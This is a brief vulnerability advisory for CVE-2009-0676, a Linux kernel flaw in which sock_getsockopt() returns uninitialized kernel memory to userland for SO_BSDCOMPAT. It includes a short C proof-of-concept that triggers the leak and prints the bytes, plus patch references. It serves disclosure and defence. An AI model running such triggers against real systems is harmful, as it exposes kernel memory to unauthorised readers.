CVE-2009-0676

First published: Thu Feb 19 2009(Updated: )

From Clement Lecigne: In function sock_getsockopt() located in net/core/sock.c, optval v.val is not correctly initialized and directly returned in userland in case we have SO_BSDCOMPAT option set. This dummy code should trigger the bug: int main(void) { unsigned char buf[4] = { 0, 0, 0, 0 }; int len; int sock; sock = socket(33, 2, 2); getsockopt(sock, 1, SO_BSDCOMPAT, &amp;buf, &amp;len); printf("%x%x%x%x\n", buf[0], buf[1], buf[2], buf[3]); close(sock); } References: <a href="http://lkml.org/lkml/2009/2/11/374">http://lkml.org/lkml/2009/2/11/374</a> <a href="http://lkml.org/lkml/2009/2/12/123">http://lkml.org/lkml/2009/2/12/123</a> <a href="http://patchwork.kernel.org/patch/6816/">http://patchwork.kernel.org/patch/6816/</a>
